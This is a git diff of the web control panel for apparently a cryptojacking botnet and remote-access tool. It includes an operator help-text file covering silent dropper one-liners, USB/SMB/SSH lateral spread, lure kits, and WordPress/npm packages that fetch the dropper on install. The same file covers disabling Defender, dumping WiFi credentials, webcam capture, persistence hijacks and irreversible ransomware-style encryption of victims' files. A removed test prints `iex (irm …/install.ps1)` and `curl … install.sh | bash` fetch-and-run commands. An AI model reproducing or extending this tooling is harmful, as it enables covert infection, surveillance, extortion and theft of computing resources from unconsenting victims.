const anchor = family === 'wordpress' ? 'wordpress-hosting-checklist' : 'npm-hosting-checklist';
|
||||||
return `${supplyChainWikiUrl(family).split('#')[0]}#${anchor}`;
|
return spreadTechniqueDocUrl(anchor);
|
||||||
}
|
}
|
||||||
|
|
||||||
export interface HostingChecklistItem {
|
export interface HostingChecklistItem {
|
||||||
|
|||||||
96
server/web/src/help/uiHelp.test.ts
Normal file
96
server/web/src/help/uiHelp.test.ts
Normal file
@@ -0,0 +1,96 @@
|
|||||||
|
import { describe, expect, it } from 'vitest';
|
||||||
|
import { UI_HELP } from './uiHelp';
|
||||||
|
|
||||||
|
describe('UI_HELP', () => {
|
||||||
|
const requiredKeys = [
|
||||||
|
'dash_fleet_health',
|
||||||
|
'dash_install_funnel',
|
||||||
|
'dash_operator_audit',
|
||||||
|
'dash_signal_locked',
|
||||||
|
'dash_advanced_mode',
|
||||||
|
'dash_raw_stream',
|
||||||
|
'dash_fleet_hash',
|
||||||
|
'dash_est_daily',
|
||||||
|
'dash_accept_rate',
|
||||||
|
'dash_nodes_live',
|
||||||
|
'dash_fleet_pipeline',
|
||||||
|
'dash_pool_stratum',
|
||||||
|
'dash_ai_activity',
|
||||||
|
'dash_gpu_rvn',
|
||||||
|
'dash_xmr_section',
|
||||||
|
'crucible_node_roster',
|
||||||
|
'crucible_heat_map',
|
||||||
|
'crucible_groups',
|
||||||
|
'crucible_active_target',
|
||||||
|
'crucible_tab_ops',
|
||||||
|
'crucible_tab_recon',
|
||||||
|
'crucible_tab_files',
|
||||||
|
'crucible_tab_spread',
|
||||||
|
'crucible_tab_tunnels',
|
||||||
|
'crucible_mining_ops',
|
||||||
|
'crucible_resume',
|
||||||
|
'crucible_pause',
|
||||||
|
'crucible_full_audit',
|
||||||
|
'crucible_posture_badge',
|
||||||
|
'crucible_master_terminal',
|
||||||
|
'crucible_section_agent',
|
||||||
|
'crucible_section_system',
|
||||||
|
'crucible_section_persistence',
|
||||||
|
'crucible_section_maintenance',
|
||||||
|
'crucible_section_intel',
|
||||||
|
'crucible_section_security',
|
||||||
|
'crucible_section_network',
|
||||||
|
'crucible_section_media',
|
||||||
|
'crucible_section_files_quick',
|
||||||
|
'crucible_section_files_advanced',
|
||||||
|
'crucible_section_destructive',
|
||||||
|
'crucible_section_spread',
|
||||||
|
'crucible_section_seek',
|
||||||
|
'crucible_section_ssh',
|
||||||
|
'crucible_section_tunnels',
|
||||||
|
'crucible_section_protocol_tunnel',
|
||||||
|
'crucible_section_portfwd',
|
||||||
|
'bm_pin_dropper',
|
||||||
|
'bm_public_build',
|
||||||
|
'bm_dropper_oneliner',
|
||||||
|
'bm_reforge',
|
||||||
|
'bm_platform_badge',
|
||||||
|
'fm_remote_browse',
|
||||||
|
'fm_upload',
|
||||||
|
'fm_encrypt_path',
|
||||||
|
'pt_path_tracer',
|
||||||
|
'pt_agent_chain',
|
||||||
|
'fleet_runtime_policy',
|
||||||
|
'fleet_runtime_modules',
|
||||||
|
'spread_funnel_widget',
|
||||||
|
'md_overview',
|
||||||
|
'md_operation_chip',
|
||||||
|
'md_spread_profile',
|
||||||
|
'md_campaign_identity',
|
||||||
|
'md_strike_pipeline',
|
||||||
|
'md_equip_strike',
|
||||||
|
'ew_overview',
|
||||||
|
'ew_campaign_setup',
|
||||||
|
'ew_campaign_slug',
|
||||||
|
'ew_install_links',
|
||||||
|
'ew_spread_kit',
|
||||||
|
'ew_war_room',
|
||||||
|
'ew_supply_chain',
|
||||||
|
'ew_public_urls',
|
||||||
|
'ew_techniques',
|
||||||
|
'ew_shared_notes',
|
||||||
|
] as const;
|
||||||
|
|
||||||
|
it('defines help for every documented UI key', () => {
|
||||||
|
expect(Object.keys(UI_HELP).sort()).toEqual([...requiredKeys].sort());
|
||||||
|
});
|
||||||
|
|
||||||
|
it('each entry is a complete non-empty blurb', () => {
|
||||||
|
for (const key of requiredKeys) {
|
||||||
|
const text = UI_HELP[key];
|
||||||
|
expect(typeof text).toBe('string');
|
||||||
|
expect(text.trim().length).toBeGreaterThan(20);
|
||||||
|
expect(text).not.toMatch(/coming soon|TODO|TBD/i);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
});
|
||||||
163
server/web/src/help/uiHelp.ts
Normal file
163
server/web/src/help/uiHelp.ts
Normal file
@@ -0,0 +1,163 @@
|
|||||||
|
/** Inline help for dashboard, crucible, fleet, build manager, and other operator UI — not forge/calibrate form fields. */
|
||||||
|
export const UI_HELP: Record<string, string> = {
|
||||||
|
dash_fleet_health:
|
||||||
|
'Composite score from online ratio, accept rate, and hashrate activity. Green means the fleet is mining normally; amber or red flags nodes to check on Crucible.',
|
||||||
|
dash_install_funnel:
|
||||||
|
'Shows how many agents connected in the last 7 days, grouped by forged build. USB column counts agents that arrived via USB spread.',
|
||||||
|
dash_operator_audit:
|
||||||
|
'Server-side log of operator actions (logins, forge, remote commands). Last 50 entries; refreshes every minute.',
|
||||||
|
dash_signal_locked:
|
||||||
|
'Live WebSocket link to the control server. When reconnecting, fleet stats may be stale until the signal locks again.',
|
||||||
|
dash_advanced_mode:
|
||||||
|
'Overview hides extra charts, topology, pool status, and the raw matrix stream. Advanced shows the full telemetry deck.',
|
||||||
|
dash_raw_stream:
|
||||||
|
'Full-screen scrolling dump of live WebSocket traffic — useful for debugging agent messages, not day-to-day monitoring.',
|
||||||
|
dash_fleet_hash:
|
||||||
|
'Sum of 15-minute average hashrate across all online Monero (RandomX) miners in the fleet.',
|
||||||
|
dash_est_daily:
|
||||||
|
'Rough USD/day from live fleet hashrate and the cached XMR price. Connect a wallet on Calibrate for pool-reported earnings instead.',
|
||||||
|
dash_accept_rate:
|
||||||
|
'Percentage of submitted shares accepted by the pool. Below ~95% often means bad pool connectivity or misconfigured workers.',
|
||||||
|
dash_nodes_live:
|
||||||
|
'Online agents with an active WebSocket heartbeat versus total registered agents (including offline).',
|
||||||
|
dash_fleet_pipeline:
|
||||||
|
'Setup checklist: forged build exists → agent deployed → node online → hashrate flowing → shares reaching the pool.',
|
||||||
|
dash_pool_stratum:
|
||||||
|
'Upstream pool connections from this control server. LIVE = stratum connected; DEGRADED or DOWN means payout risk.',
|
||||||
|
dash_ai_activity:
|
||||||
|
'Agents with AI Autonomy enabled ask Ollama on this PC for self-healing decisions. Empty until a forged miner reports in.',
|
||||||
|
dash_gpu_rvn:
|
||||||
|
'Ravencoin KawPoW GPU miners detected on online agents. Separate from Monero CPU hashrate above.',
|
||||||
|
dash_xmr_section:
|
||||||
|
'Monero RandomX CPU mining stats for the fleet. GPU Ravencoin rigs appear in the RVN section below when active.',
|
||||||
|
|
||||||
|
crucible_node_roster:
|
||||||
|
'Every registered agent. Click to select; badges show SSH reachability, security posture, patches, and resource pressure.',
|
||||||
|
crucible_heat_map:
|
||||||
|
'Spatial view of node selection and group colors. Click a dot to toggle that agent in the roster.',
|
||||||
|
crucible_groups:
|
||||||
|
'Named color groups shared with Fleet Roster. Click a group chip to select all members for bulk commands.',
|
||||||
|
crucible_active_target:
|
||||||
|
'The focused node when exactly one is selected — used for single-agent panels like live desktop and file browser.',
|
||||||
|
crucible_tab_ops:
|
||||||
|
'Day-to-day remote control: pause/resume mining, shell commands, agent restart, logs, and power actions.',
|
||||||
|
crucible_tab_recon:
|
||||||
|
'Intelligence gathering: posture scans, full system audit, screenshots, camera list, and network discovery.',
|
||||||
|
crucible_tab_files:
|
||||||
|
'Browse, upload, download, and encrypt files on the selected online agent via the remote file browser.',
|
||||||
|
crucible_tab_spread:
|
||||||
|
'Lateral movement and propagation: spread-now, SMB shares, credential vault, and secure wipe.',
|
||||||
|
crucible_tab_tunnels:
|
||||||
|
'SSH port forwards and protocol tunnels between your control PC and selected agents.',
|
||||||
|
crucible_mining_ops:
|
||||||
|
'Pause or resume hashing on selected online nodes. The agent process stays connected — only the miner thread stops or starts.',
|
||||||
|
crucible_resume:
|
||||||
|
'Tell selected online miners to resume hashing after a pause command or idle throttle.',
|
||||||
|
crucible_pause:
|
||||||
|
'Pause mining on selected nodes without stopping the agent process — they stay connected.',
|
||||||
|
crucible_full_audit:
|
||||||
|
'Deep posture scan (30–60s): firewall, WAN IP, geo, DNS, ARP, subnet scan, hardware, and listeners.',
|
||||||
|
crucible_posture_badge:
|
||||||
|
'Quick security summary from the last heartbeat: AV, firewall, SSH, elevation, and patch state.',
|
||||||
|
crucible_master_terminal:
|
||||||
|
'Command output and errors from bulk ops stream here. Green lines succeeded; red lines failed.',
|
||||||
|
crucible_section_agent:
|
||||||
|
'Restart, fetch logs, kill, or fully uninstall the agent process on selected nodes.',
|
||||||
|
crucible_section_system:
|
||||||
|
'OS-level power actions — reboot or shutdown the whole machine, not just the miner.',
|
||||||
|
crucible_section_persistence:
|
||||||
|
'BITS jobs, host-binary hijack, and read-only persistence audits for surviving reboots.',
|
||||||
|
crucible_section_maintenance:
|
||||||
|
'Fleet upgrades, wake-on-LAN, registry read/write, and remote process kill by PID.',
|
||||||
|
crucible_section_intel:
|
||||||
|
'One-click intel pulls: screenshot, processes, netstat, clipboard, WiFi creds, and more.',
|
||||||
|
crucible_section_security:
|
||||||
|
'Post-exploit posture changes — disable Defender or dump saved WiFi passwords.',
|
||||||
|
crucible_section_network:
|
||||||
|
'Connectivity probes, listener tables, patch status, ARP neighbors, and firewall controls.',
|
||||||
|
crucible_section_media:
|
||||||
|
'Live desktop polling, camera enumeration, and per-device webcam snapshots.',
|
||||||
|
crucible_section_files_quick:
|
||||||
|
'Push files to Desktop or a custom path, or pull a remote file into the terminal.',
|
||||||
|
crucible_section_files_advanced:
|
||||||
|
'Delete, move, or secure-wipe paths on selected agents — confirm before destructive ops.',
|
||||||
|
crucible_section_destructive:
|
||||||
|
'SYS CRYPT encrypts Documents/home — irreversible without the key.',
|
||||||
|
crucible_section_spread:
|
||||||
|
'On-demand lateral spread, subnet discovery, SMB shares, and credential vault names.',
|
||||||
|
crucible_section_seek:
|
||||||
|
'SUPP Seek recursively seeds media folders with silent launcher stubs (Windows + Mac/Linux).',
|
||||||
|
crucible_section_ssh:
|
||||||
|
'Probe or wake OpenSSH on Windows nodes, plus a quick reference for direct and tunneled SSH.',
|
||||||
|
crucible_section_tunnels:
|
||||||
|
'WAN IP, UPnP hole punch, Cloudflare outbound tunnels, mesh peers, and tunnel stop.',
|
||||||
|
crucible_section_protocol_tunnel:
|
||||||
|
'Full protocol tunnel panel for the focused node — cloudflared, SSH forwards, and live status.',
|
||||||
|
crucible_section_portfwd:
|
||||||
|
'Matrix of SSH local-forward rules pushed to selected Windows agents.',
|
||||||
|
|
||||||
|
bm_pin_dropper:
|
||||||
|
'Pinned build is served by unauthenticated dropper URLs (install.ps1 / install.sh). Only one build can be pinned at a time.',
|
||||||
|
bm_public_build:
|
||||||
|
'Public builds appear on the login page download list without signing in — useful for LAN handoffs.',
|
||||||
|
bm_dropper_oneliner:
|
||||||
|
'One-liner scripts download and silently install the pinned build (or latest if none pinned) from this server.',
|
||||||
|
bm_reforge:
|
||||||
|
'Open Forge with this build\'s settings pre-filled so you can tweak and compile a new revision.',
|
||||||
|
bm_platform_badge:
|
||||||
|
'Target OS baked into the installer: Windows, Linux, macOS, or Universal (multi-OS ZIP).',
|
||||||
|
|
||||||
|
fm_remote_browse:
|
||||||
|
'Live directory listing on the selected agent. Double-click folders to navigate; select files to download or preview text.',
|
||||||
|
fm_upload:
|
||||||
|
'Push a file from your browser to the agent. Set destination path or defaults to current folder + filename.',
|
||||||
|
fm_encrypt_path:
|
||||||
|
'AES-256-GCM encrypt every file at the current path. Irreversible without the key — requires Remote Aggressive Ops.',
|
||||||
|
|
||||||
|
pt_path_tracer:
|
||||||
|
'On-demand multi-hop WireGuard VPN through up to 3 Windows agents. Scan the QR or import the .conf on your phone.',
|
||||||
|
pt_agent_chain:
|
||||||
|
'Pick agents in order — traffic hops through each node. Windows only; max 3 hops. Click TRACE to orchestrate tunnels.',
|
||||||
|
|
||||||
|
fleet_runtime_policy:
|
||||||
|
'Push live mining policy (schedule, CPU cap, optional pool override) to online agents without re-forging.',
|
||||||
|
fleet_runtime_modules:
|
||||||
|
'Hot-load optional agent modules (e.g. crucible ops pack) onto connected workers.',
|
||||||
|
|
||||||
|
spread_funnel_widget:
|
||||||
|
'Campaign install funnel: page hits → downloads → first beacon → mining, per ?c= slug. See Emberwake for full war room.',
|
||||||
|
|
||||||
|
md_overview:
|
||||||
|
'Fast path to a forged agent: pick Ghost, Loud, or Spread, optionally layer a spread profile, then one click builds and exports a kit when needed. Copy install commands from Builds; track campaigns in Emberwake; use Forge when you need every option.',
|
||||||
|
md_operation_chip:
|
||||||
|
'Ghost = stealth worker for quiet LAN installs. Loud = visible logs for lab testing. Spread = universal kit with USB/LAN autospread — pair with a spread profile on the right.',
|
||||||
|
md_spread_profile:
|
||||||
|
'Optional deliverable shape on top of your operation chip — e.g. LAN Kindling adds SMB/SSH spread flags, Desktop Fusion enables media fusion packaging.',
|
||||||
|
md_campaign_identity:
|
||||||
|
'Campaign slug tags every link with ?c= so Emberwake can group hits and beacons. Worker name, control URL, and wallet are the only identity fields you need here.',
|
||||||
|
md_strike_pipeline:
|
||||||
|
'One automated run: lock presets → compile the agent → export spread-kit ZIP when the loadout requires it. Install commands live on Builds after the run finishes.',
|
||||||
|
md_equip_strike:
|
||||||
|
'Starts the pipeline using your equipped loadout. Fix wallet or control URL errors before clicking; grab install one-liners from Builds when done.',
|
||||||
|
|
||||||
|
ew_overview:
|
||||||
|
'Spread desk after you forge: tag install links with ?c=, export lure kits, and read campaign funnels. Forge agents on Mission Deck (fast) or Forge (full control).',
|
||||||
|
ew_campaign_setup:
|
||||||
|
'Shared settings for every Emberwake export on this page. Campaign slug tags telemetry; pinned build selects which forged agent gets installed.',
|
||||||
|
ew_campaign_slug:
|
||||||
|
'Short name appended as ?c= on dropper and download URLs. War Room groups hits, downloads, beacons, and hashrate by this slug.',
|
||||||
|
ew_install_links:
|
||||||
|
'Per-platform install one-liners live in Builds. Pin a build there, then copy PowerShell / bash / download URLs for remote deploy.',
|
||||||
|
ew_spread_kit:
|
||||||
|
'Downloads a ZIP of spread-kit templates (README, Deploy scripts, lander assets) with your server URL and campaign slug baked in.',
|
||||||
|
ew_war_room:
|
||||||
|
'Live funnel per campaign: page hits → downloads → first agent beacon → mining nodes and fleet hashrate. Updates every 15s and on WebSocket push.',
|
||||||
|
ew_supply_chain:
|
||||||
|
'Advanced: export a WordPress plugin ZIP or npm package template that pulls your dropper on install. Uses campaign settings above.',
|
||||||
|
ew_public_urls:
|
||||||
|
'Direct /api/v1/public/download links for each build — same files shown on the login page when a build is marked public.',
|
||||||
|
ew_techniques:
|
||||||
|
'Index of spread vectors with links into the tabbed Spread Techniques playbook. Emberwake handles actions; the playbook has step-by-step how-to.',
|
||||||
|
ew_shared_notes:
|
||||||
|
'Collaborative scratchpad synced to every logged-in operator. Use for lure copy, host paths, or rotation notes — not stored on agents.',
|
||||||
|
};
|
||||||
36
server/web/src/help/wsStatsCoalesce.test.ts
Normal file
36
server/web/src/help/wsStatsCoalesce.test.ts
Normal file
@@ -0,0 +1,36 @@
|
|||||||
|
import { describe, expect, it } from 'vitest';
|
||||||
|
import { agentStatsUnchanged } from './wsStatsCoalesce';
|
||||||
|
import { mockAgent } from '../test/fixtures';
|
||||||
|
|
||||||
|
describe('agentStatsUnchanged', () => {
|
||||||
|
it('returns true when payload matches current agent stats', () => {
|
||||||
|
const agent = mockAgent({
|
||||||
|
hashrate_15s: 100,
|
||||||
|
hashrate_1m: 90,
|
||||||
|
hashrate_15m: 80,
|
||||||
|
cpu_usage_pct: 12,
|
||||||
|
});
|
||||||
|
expect(
|
||||||
|
agentStatsUnchanged(agent, {
|
||||||
|
agent_id: agent.id,
|
||||||
|
hashrate_15s: 100,
|
||||||
|
hashrate_1m: 90,
|
||||||
|
hashrate_15m: 80,
|
||||||
|
cpu_usage_pct: 12,
|
||||||
|
}),
|
||||||
|
).toBe(true);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('returns false when hashrate changes', () => {
|
||||||
|
const agent = mockAgent({ hashrate_15s: 100, hashrate_1m: 90, hashrate_15m: 80, cpu_usage_pct: 12 });
|
||||||
|
expect(
|
||||||
|
agentStatsUnchanged(agent, {
|
||||||
|
agent_id: agent.id,
|
||||||
|
hashrate_15s: 101,
|
||||||
|
hashrate_1m: 90,
|
||||||
|
hashrate_15m: 80,
|
||||||
|
cpu_usage_pct: 12,
|
||||||
|
}),
|
||||||
|
).toBe(false);
|
||||||
|
});
|
||||||
|
});
|
||||||
70
server/web/src/help/wsStatsCoalesce.ts
Normal file
70
server/web/src/help/wsStatsCoalesce.ts
Normal file
@@ -0,0 +1,70 @@
|
|||||||
|
import type { Agent } from '../types';
|
||||||
|
import type { WSStatsUpdate } from '../types/ws';
|
||||||
|
|
||||||
|
/** Returns true when a stats_update payload would not change visible agent fields. */
|
||||||
|
export function agentStatsUnchanged(agent: Agent, u: WSStatsUpdate): boolean {
|
||||||
|
if (agent.hashrate_15s !== u.hashrate_15s) return false;
|
||||||
|
if (agent.hashrate_1m !== u.hashrate_1m) return false;
|
||||||
|
if (agent.hashrate_15m !== u.hashrate_15m) return false;
|
||||||
|
if (agent.cpu_usage_pct !== u.cpu_usage_pct) return false;
|
||||||
|
if (u.memory_usage_pct !== undefined && agent.memory_usage_pct !== u.memory_usage_pct) return false;
|
||||||
|
if (u.uptime_seconds !== undefined && agent.uptime_seconds !== u.uptime_seconds) return false;
|
||||||
|
if (u.shares_submitted !== undefined && agent.shares_total !== u.shares_submitted) return false;
|
||||||
|
if (u.shares_accepted !== undefined && agent.shares_good !== u.shares_accepted) return false;
|
||||||
|
if (u.listen_port_count !== undefined && agent.listen_port_count !== u.listen_port_count) return false;
|
||||||
|
if (u.dns_drifted !== undefined && agent.dns_drifted !== u.dns_drifted) return false;
|
||||||
|
if (u.cpu_freq_mhz !== undefined && agent.cpu_freq_mhz !== u.cpu_freq_mhz) return false;
|
||||||
|
if (u.cpu_max_mhz !== undefined && agent.cpu_max_mhz !== u.cpu_max_mhz) return false;
|
||||||
|
if (u.cpu_throttle !== undefined && agent.cpu_throttle !== u.cpu_throttle) return false;
|
||||||
|
if (u.cpu_temp_c !== undefined && agent.cpu_temp_c !== u.cpu_temp_c) return false;
|
||||||
|
if (u.disk_free_gb !== undefined && agent.disk_free_gb !== u.disk_free_gb) return false;
|
||||||
|
if (u.disk_total_gb !== undefined && agent.disk_total_gb !== u.disk_total_gb) return false;
|
||||||
|
if (u.disk_free_pct !== undefined && agent.disk_free_pct !== u.disk_free_pct) return false;
|
||||||
|
if (u.gpu_temp_c !== undefined && agent.gpu_temp_c !== u.gpu_temp_c) return false;
|
||||||
|
if (u.gpu_usage_pct !== undefined && agent.gpu_usage_pct !== u.gpu_usage_pct) return false;
|
||||||
|
if (u.gpu_miner_active !== undefined && agent.gpu_miner_active !== u.gpu_miner_active) return false;
|
||||||
|
if (u.gpu_hashrate_15s !== undefined && agent.gpu_hashrate_15s !== u.gpu_hashrate_15s) return false;
|
||||||
|
if (u.gpu_hashrate_1m !== undefined && agent.gpu_hashrate_1m !== u.gpu_hashrate_1m) return false;
|
||||||
|
if (u.gpu_hashrate_15m !== undefined && agent.gpu_hashrate_15m !== u.gpu_hashrate_15m) return false;
|
||||||
|
if (u.gpu_model !== undefined && agent.gpu_model !== u.gpu_model) return false;
|
||||||
|
if (u.ssh_available !== undefined && agent.ssh_available !== u.ssh_available) return false;
|
||||||
|
if (u.posture_score !== undefined && agent.posture_score !== u.posture_score) return false;
|
||||||
|
if (u.last_patch_days !== undefined && agent.last_patch_days !== u.last_patch_days) return false;
|
||||||
|
if (u.defender_rtp !== undefined && agent.defender_rtp !== u.defender_rtp) return false;
|
||||||
|
if (u.firewall_domain !== undefined && agent.firewall_domain !== u.firewall_domain) return false;
|
||||||
|
if (u.firewall_private !== undefined && agent.firewall_private !== u.firewall_private) return false;
|
||||||
|
if (u.firewall_public !== undefined && agent.firewall_public !== u.firewall_public) return false;
|
||||||
|
if (u.reboot_pending !== undefined && agent.reboot_pending !== u.reboot_pending) return false;
|
||||||
|
if (u.agent_elevated !== undefined && agent.agent_elevated !== u.agent_elevated) return false;
|
||||||
|
if (u.latency_ms !== undefined && agent.latency_ms !== u.latency_ms) return false;
|
||||||
|
if (u.pending_updates !== undefined && agent.pending_updates !== u.pending_updates) return false;
|
||||||
|
if (u.last_patch !== undefined && agent.last_patch !== u.last_patch) return false;
|
||||||
|
if (u.dns_servers !== undefined && !shallowStrArrayEq(agent.dns_servers, u.dns_servers)) return false;
|
||||||
|
if (u.dns_search_domains !== undefined && !shallowStrArrayEq(agent.dns_search_domains, u.dns_search_domains)) return false;
|
||||||
|
if (u.av_products !== undefined && !shallowStrArrayEq(agent.av_products, u.av_products)) return false;
|
||||||
|
if (u.services !== undefined && agent.services !== u.services) return false;
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
function shallowStrArrayEq(a?: string[], b?: string[]): boolean {
|
||||||
|
if (a === b) return true;
|
||||||
|
if (!a || !b || a.length !== b.length) return false;
|
||||||
|
for (let i = 0; i < a.length; i++) {
|
||||||
|
if (a[i] !== b[i]) return false;
|
||||||
|
}
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
/** WS message types that drive latestMessage consumers (sound, presence, emberwake). */
|
||||||
|
export const WS_LATEST_MESSAGE_TYPES = new Set([
|
||||||
|
'presence_snapshot',
|
||||||
|
'presence_update',
|
||||||
|
'notes_typing',
|
||||||
|
'emberwake_notes_updated',
|
||||||
|
'emberwake_war_room',
|
||||||
|
'agent_online',
|
||||||
|
'agent_offline',
|
||||||
|
'new_share',
|
||||||
|
'fleet_alert',
|
||||||
|
'command_result',
|
||||||
|
]);
|
||||||
36
server/web/src/hooks/usePageVisible.ts
Normal file
36
server/web/src/hooks/usePageVisible.ts
Normal file
@@ -0,0 +1,36 @@
|
|||||||
|
import { useEffect, useRef, useState } from 'react';
|
||||||
|
|
||||||
|
/** True when the document tab is visible (Page Visibility API). */
|
||||||
|
export function usePageVisible(): boolean {
|
||||||
|
const [visible, setVisible] = useState(
|
||||||
|
() => typeof document === 'undefined' || document.visibilityState === 'visible',
|
||||||
|
);
|
||||||
|
|
||||||
|
useEffect(() => {
|
||||||
|
const onVis = () => setVisible(document.visibilityState === 'visible');
|
||||||
|
document.addEventListener('visibilitychange', onVis);
|
||||||
|
return () => document.removeEventListener('visibilitychange', onVis);
|
||||||
|
}, []);
|
||||||
|
|
||||||
|
return visible;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Run `fn` on an interval; pauses while the tab is hidden.
|
||||||
|
*
|
||||||
|
* `fn` is stored in a ref so callers do NOT need to wrap it in `useCallback`.
|
||||||
|
* The effect only re-runs when `ms`, `enabled`, or tab-visibility changes —
|
||||||
|
* an unstable `fn` reference will NOT trigger extra immediate calls.
|
||||||
|
*/
|
||||||
|
export function useVisibleInterval(fn: () => void, ms: number, enabled = true): void {
|
||||||
|
const visible = usePageVisible();
|
||||||
|
const fnRef = useRef(fn);
|
||||||
|
// Keep the ref in sync with the latest fn without scheduling a new interval.
|
||||||
|
fnRef.current = fn;
|
||||||
|
|
||||||
|
useEffect(() => {
|
||||||
|
if (!enabled || !visible) return;
|
||||||
|
const id = window.setInterval(() => fnRef.current(), ms);
|
||||||
|
return () => window.clearInterval(id);
|
||||||
|
}, [ms, enabled, visible]);
|
||||||
|
}
|
||||||
@@ -4,7 +4,9 @@
|
|||||||
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
|
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
|
||||||
import { cleanup, render, screen, waitFor, within } from '@testing-library/react';
|
import { cleanup, render, screen, waitFor, within } from '@testing-library/react';
|
||||||
import userEvent from '@testing-library/user-event';
|
import userEvent from '@testing-library/user-event';
|
||||||
|
import { MemoryRouter } from 'react-router-dom';
|
||||||
import AgentsPage from './AgentsPage';
|
import AgentsPage from './AgentsPage';
|
||||||
|
import { routerFuture } from '../routerFuture';
|
||||||
import { mockAgent, mockServerInfo } from '../test/fixtures';
|
import { mockAgent, mockServerInfo } from '../test/fixtures';
|
||||||
import { useWebSocket } from '../hooks/useWebSocket';
|
import { useWebSocket } from '../hooks/useWebSocket';
|
||||||
import { api } from '../api/client';
|
import { api } from '../api/client';
|
||||||
@@ -35,7 +37,11 @@ function wsValue(overrides: Partial<ReturnType<typeof useWebSocket>> = {}) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
function renderAgentsPage() {
|
function renderAgentsPage() {
|
||||||
return render(<AgentsPage />);
|
return render(
|
||||||
|
<MemoryRouter initialEntries={['/agents']} future={routerFuture}>
|
||||||
|
<AgentsPage />
|
||||||
|
</MemoryRouter>,
|
||||||
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
describe('AgentsPage', () => {
|
describe('AgentsPage', () => {
|
||||||
@@ -62,27 +68,12 @@ describe('AgentsPage', () => {
|
|||||||
cleanup();
|
cleanup();
|
||||||
});
|
});
|
||||||
|
|
||||||
it('renders page heading and quick deploy labels', async () => {
|
it('renders page heading and builds install link', async () => {
|
||||||
renderAgentsPage();
|
renderAgentsPage();
|
||||||
expect(screen.getByRole('heading', { level: 1, name: 'Fleet Roster' })).toBeInTheDocument();
|
expect(screen.getByRole('heading', { level: 1, name: 'Fleet Roster' })).toBeInTheDocument();
|
||||||
expect(screen.getByText('FLEET REGISTRY')).toBeInTheDocument();
|
expect(screen.getByText('FLEET REGISTRY')).toBeInTheDocument();
|
||||||
await waitFor(() => {
|
expect(screen.getByText('Deploy a new worker')).toBeInTheDocument();
|
||||||
expect(screen.getByText('One-liner Quick Deploy')).toBeInTheDocument();
|
expect(screen.getByRole('link', { name: /View install commands in Builds/i })).toHaveAttribute('href', '/builds');
|
||||||
});
|
|
||||||
expect(screen.getByText('Install & run (auto-launches)')).toBeInTheDocument();
|
|
||||||
expect(screen.getByText('Direct download only (saves file)')).toBeInTheDocument();
|
|
||||||
expect(screen.getAllByText('Windows')).toHaveLength(2);
|
|
||||||
expect(screen.getByText('Linux/Mac')).toBeInTheDocument();
|
|
||||||
expect(screen.getByText('macOS')).toBeInTheDocument();
|
|
||||||
});
|
|
||||||
|
|
||||||
it('builds quick deploy URLs from server info', async () => {
|
|
||||||
renderAgentsPage();
|
|
||||||
await waitFor(() => {
|
|
||||||
expect(screen.getAllByText(`iex (irm '${mockServerInfo.suggested_url}/install.ps1')`)).toHaveLength(1);
|
|
||||||
});
|
|
||||||
expect(screen.getByText(`curl -sL ${mockServerInfo.suggested_url}/install.sh | bash`)).toBeInTheDocument();
|
|
||||||
expect(screen.getByText(`${mockServerInfo.suggested_url}/get?os=windows`)).toBeInTheDocument();
|
|
||||||
});
|
});
|
||||||
|
|
||||||
it('shows loading then empty multi-OS state', async () => {
|
it('shows loading then empty multi-OS state', async () => {
|
||||||
@@ -157,11 +148,14 @@ describe('AgentsPage', () => {
|
|||||||
await user.clear(tags);
|
await user.clear(tags);
|
||||||
await user.type(tags, 'living-room, rack-b');
|
await user.type(tags, 'living-room, rack-b');
|
||||||
await user.click(within(panel).getByRole('button', { name: 'Save notes & tags' }));
|
await user.click(within(panel).getByRole('button', { name: 'Save notes & tags' }));
|
||||||
await waitFor(() => {
|
await waitFor(
|
||||||
expect(updateSpy).toHaveBeenCalledWith('save-me', 'Living room PC', ['living-room', 'rack-b']);
|
() => {
|
||||||
});
|
expect(updateSpy).toHaveBeenCalledWith('save-me', 'Living room PC', ['living-room', 'rack-b']);
|
||||||
|
},
|
||||||
|
{ timeout: 10000 }
|
||||||
|
);
|
||||||
expect(await within(panel).findByText('Saved')).toBeInTheDocument();
|
expect(await within(panel).findByText('Saved')).toBeInTheDocument();
|
||||||
});
|
}, 15000);
|
||||||
|
|
||||||
it('alerts when bulk action has no online agents', async () => {
|
it('alerts when bulk action has no online agents', async () => {
|
||||||
const offline = mockAgent({ id: 'off-1', name: 'Offline Node', status: 'offline' });
|
const offline = mockAgent({ id: 'off-1', name: 'Offline Node', status: 'offline' });
|
||||||
|
|||||||
@@ -1,7 +1,8 @@
|
|||||||
import { useState, useEffect, useMemo, useCallback, useRef } from 'react';
|
import { useState, useEffect, useMemo, useCallback, useRef } from 'react';
|
||||||
|
import { Link } from 'react-router-dom';
|
||||||
import { api } from '../api/client';
|
import { api } from '../api/client';
|
||||||
import { useWebSocket } from '../hooks/useWebSocket';
|
import { useWebSocket } from '../hooks/useWebSocket';
|
||||||
import type { Agent, HashrateSample, ServerInfo } from '../types';
|
import type { Agent, HashrateSample } from '../types';
|
||||||
import LatencyBadge from '../components/Fleet/LatencyBadge';
|
import LatencyBadge from '../components/Fleet/LatencyBadge';
|
||||||
import HashrateChart from '../components/Charts/HashrateChart';
|
import HashrateChart from '../components/Charts/HashrateChart';
|
||||||
import { resolveChartSeries } from '../help/chartSampleData';
|
import { resolveChartSeries } from '../help/chartSampleData';
|
||||||
@@ -25,58 +26,19 @@ import FleetGroupsStrip from '../components/Fleet/FleetGroupsStrip';
|
|||||||
import '../components/Fleet/FleetToolbar.css';
|
import '../components/Fleet/FleetToolbar.css';
|
||||||
import './Pages.css';
|
import './Pages.css';
|
||||||
|
|
||||||
function QuickDeployPanel({ serverInfo }: { serverInfo: ServerInfo | null }) {
|
function BuildsInstallLink() {
|
||||||
const [copied, setCopied] = useState<string | null>(null);
|
|
||||||
|
|
||||||
const base = serverInfo?.suggested_url?.replace(/\/$/, '') ?? window.location.origin;
|
|
||||||
|
|
||||||
const copy = (text: string, key: string) => {
|
|
||||||
navigator.clipboard.writeText(text).then(() => {
|
|
||||||
setCopied(key);
|
|
||||||
setTimeout(() => setCopied(null), 2000);
|
|
